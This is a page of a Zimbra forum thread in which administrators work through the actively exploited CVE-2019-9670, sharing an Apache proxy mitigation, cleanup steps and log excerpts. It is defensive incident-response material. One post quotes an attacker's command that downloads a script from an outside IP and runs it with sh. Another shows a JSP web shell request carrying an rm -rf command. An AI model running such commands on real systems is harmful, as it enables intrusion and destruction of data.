Page 4 of 25
Re: CVE-2019-9670 being actively exploited
Posted: Mon Apr 22, 2019 2:45 pm
by halfgaar
if you have a vulnerable zimbra installation you're vulnerable, you cannot add mitigation (probably only a WAF could do something).
I'm not advocating not patching, but the following will work. I'm going with my default position of not trusting authentication mechanisms of hosted apps, so I set up an HTTP proxy with authentication. HTTP/HTTPS and 7071 (admin port) are closed, and only available through the proxy. The best candidate server I had runs Apache, so I made it in Apache:
Code: Select all
<VirtualHost *:80>
RewriteEngine on
RewriteRule ^/(.*) https://%{HTTP_HOST}/$1 [L,R]
ServerName webmail.example.net
</VirtualHost>
<VirtualHost *:443>
ServerName webmail.example.net
ServerAdmin webmaster@localhost
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/webmail.example.net/cert.pem
SSLCertificateKeyFile /etc/letsencrypt/live/webmail.example.net/privkey.pem
SSLCertificateChainFile /etc/letsencrypt/live/webmail.example.net/chain.pem
SSLProxyEngine On
ProxyPass / https://mail.example.net/
ProxyPassReverse / https://mail.example.net/
<Location /dav>
Satisfy any
Require all granted
</Location>
<Location /.well-known/>
Satisfy any
Require all granted
</Location>
<Location /principals/>
Satisfy any
Require all granted
</Location>
<Location /SOGo/>
Satisfy any
Require all granted
</Location>
<Location /groupdav.php>
Satisfy any
Require all granted
</Location>
<Location />
AuthType Basic
AuthName "Foobar"
AuthUserFile /etc/apache2/htpasswd/webmail
Require valid-user
</Location>
ErrorLog ${APACHE_LOG_DIR}/webmail.example.net/error.log
CustomLog ${APACHE_LOG_DIR}/webmail.example.net/access.log combined
</VirtualHost>
The 'Require all granted` blocks are for CardDAV and CalDAV (and Let's Encrypt). So far, everything works.
BTW: one should also run:
Code: Select all
su - zimbra
zmsshkeygen
zmupdateauthkeys
The SSH identity file (/opt/zimbra/.ssh/zimbra_identity) could have been taken.
All in all, I can't shake how polite this hack is. It's almost a smoke screen. With the zimbra user, you have access to everything, potentially: install authorized_keys, crontabs in spools, upload all mail from the server. You can even falsify the access logs, because they're also owned by zimbra. Yet all that is done is mine Bitcoin? A severely inefficient process (1000 servers is about one ASIC miner). And, the access logs on my server started seeing these POSTs march 28, and it was only yesterday that the mining started...
Because of a daily backup of dumped accounts, I see a very steady rhythm of network traffic. There is no extra peak, so it appears my entire e-mail archive wasn't downloaded. But, they could have...
Next up, find out why the update notifier doesn't work. '/opt/zimbra/libexec/zmcheckversion -c' is called by cron, but just says 'Too early' when I run it from the command line.
Re: CVE-2019-9670 being actively exploited
Posted: Tue Apr 23, 2019 6:40 am
by pup_seba
Hi halfgaar,
This thing of the check versions not working was reported here
viewtopic.php?f=15&t=66011&p=289875#p289875 by CarlCox. Do you think it may be related to this exploit? It seems to me that is just another bug.
Re: CVE-2019-9670 being actively exploited
Posted: Tue Apr 23, 2019 6:59 am
by halfgaar
pup_seba wrote:Hi halfgaar,
This thing of the check versions not working was reported here
viewtopic.php?f=15&t=66011&p=289875#p289875 by CarlCox. Do you think it may be related to this exploit? It seems to me that is just another bug.
Well, it's related in that I was running an exploitable version without knowing it. Had I gotten an e-mail saying "CRITICAL update available", I would not have been running an exploitable version of Zimbra.
In fact, this exploit even warranted an e-mail to the entire forum user base, if you ask me. As I said, the hacker could have downloaded all my mail; could have done
anything.
Re: CVE-2019-9670 being actively exploited
Posted: Tue Apr 23, 2019 8:12 am
by phoenix
halfgaar wrote:In fact, this exploit even warranted an e-mail to the entire forum user base, if you ask me.
I wholeheartedly agree with you but, as I've said many times, Synacor seem to have very little interest in engaging with the community on these forums. I'd go so far as to say that their attitude verges on contempt for anything that's done and said here. I don't take any pleasure in making these comments but I do wish that they would do something, anything, to show that even know we're here.
Re: CVE-2019-9670 being actively exploited
Posted: Tue Apr 23, 2019 7:10 pm
by halfgaar
I just subscribed to the subforums 'Announcements' and 'Community News' (so that I get e-mail), and I would be in favour of using those subforums for important announcements, by lack of any kind of security mailing list. In fact, a sticky post saying that that subforum acts as mailing list that you can subscribe to may be in order.
News about this exploit could go there too, I think. I'd post it, but since there is this topic, I don't want to start creating duplicates.
Re: CVE-2019-9670 being actively exploited
Posted: Wed Apr 24, 2019 1:39 pm
by sandres
Even after patching our installation, we see that it gets exploited again and again.
Code: Select all
root@mail:/tmp# cat zmpatch.log
Mon Apr 15 09:21:37 2019 Previous version: 8.7.11_GA_1854
Mon Apr 15 09:21:37 2019 Current version: 8.7.11_GA_1854
Mon Apr 15 09:21:37 2019 Current Version: 8.7.11_GA_1854
Mon Apr 15 09:21:37 2019 Deploying patch for 8.7.11_GA
Mon Apr 15 09:21:37 2019 Updating files for package zimbra-core
[...]
Mon Apr 15 09:21:37 2019 /opt/zimbra/jetty-distribution-9.3.5.v20151012/webapps/zimbra/js/CalendarCore_all.js...
Mon Apr 15 09:21:37 2019 copied.
I have followed
https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/ to cleanup all malicious jsp files and patched the system.
How can I make sure that it will not get exploited again without manually fiddling with the nginx config (which will just be overwritten by zimbra automatically?).
From today:
Code: Select all
zimbra 32645 0.0 0.0 4492 648 ? S 07:38 0:00 /bin/sh -c wget http://177.53.8.84:8081/s.sh -O /tmp/s.sh;curl http://177.53.8.84:8081/s.sh -L > /tmp/s.sh;sh /tmp/s.sh
zimbra 32647 0.0 0.0 24896 1756 ? S 07:38 0:00 wget http://177.53.8.84:8081/s.sh -O /tmp/s.sh
Re: CVE-2019-9670 being actively exploited
Posted: Wed Apr 24, 2019 1:54 pm
by maxxer
Did you try restarting Zimbra after removing all the crappy jsp/java files? I had a similar situation once and restarting after cleanup seemed to help.
Also are you sure there are no
unexpected user accounts in zimbra?
Re: CVE-2019-9670 being actively exploited
Posted: Wed Apr 24, 2019 2:11 pm
by halfgaar
Don't forget to also remove the *.class files. Every jsp file will have a corresponding class file.
And indeed look for the user accounts. Part of the attack is calling jsp files uploaded by a user account. These are then subsequently accessed like this:
Code: Select all
POST /downloads/cmd.jsp?pwd=023&cmd=rm%20-rf%20/opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp
( as you can see that is 'rm -rf /opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp')
You should look at your nginx.access* logs and see if you have entries with 'cmd' in them, and also see how the requests from that IP start. Is it still the SOAP entry? Or perhaps indeed one of those JSP files?
Re: CVE-2019-9670 being actively exploited
Posted: Wed Apr 24, 2019 2:12 pm
by sandres
maxxer wrote:
Did you try restarting Zimbra after removing all the crappy jsp/java files? I had a similar situation once and restarting after cleanup seemed to help.
Also are you sure there are no
unexpected user accounts in zimbra?
I cannot find any new accounts. I've restarted zimbra after upgrading, maybe I've deleted the files afterwards.
Code: Select all
root@mail:/tmp# find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
5379115 40 -rw-rw-r-- 1 zimbra zimbra 39386 Apr 15 09:21 /opt/zimbra/jetty/webapps/zimbra/public/login.jsp
5378963 20 -rw-rw-r-- 1 zimbra zimbra 20222 Apr 15 09:21 /opt/zimbra/jetty/webapps/zimbra/public/hostedlogin.jsp
root@mail:/tmp# find /opt/zimbra/jetty/ -name “*_jsp.java” -mtime -15 -ls
root@mail:/tmp# find /opt/zimbra/jetty/ -name “*.class” -mtime -15 -ls
I'll delete those again and restart now, thanks for your quick reply.
Re: CVE-2019-9670 being actively exploited
Posted: Wed Apr 24, 2019 3:10 pm
by halfgaar
Don't delete those files!!!
The point of that find command is to find jsp/class files younger than 15 days. It all depends on when you last upgraded zimbra and when this hack started. For me, it started on March 28, so you need to change -15 in -35, or something. But, since you already upgraded zimbra, you'll have to use your own judgement in determening which files are legit and which aren't. The random string ones aren't.
Otherwise, post them, and we can tell you.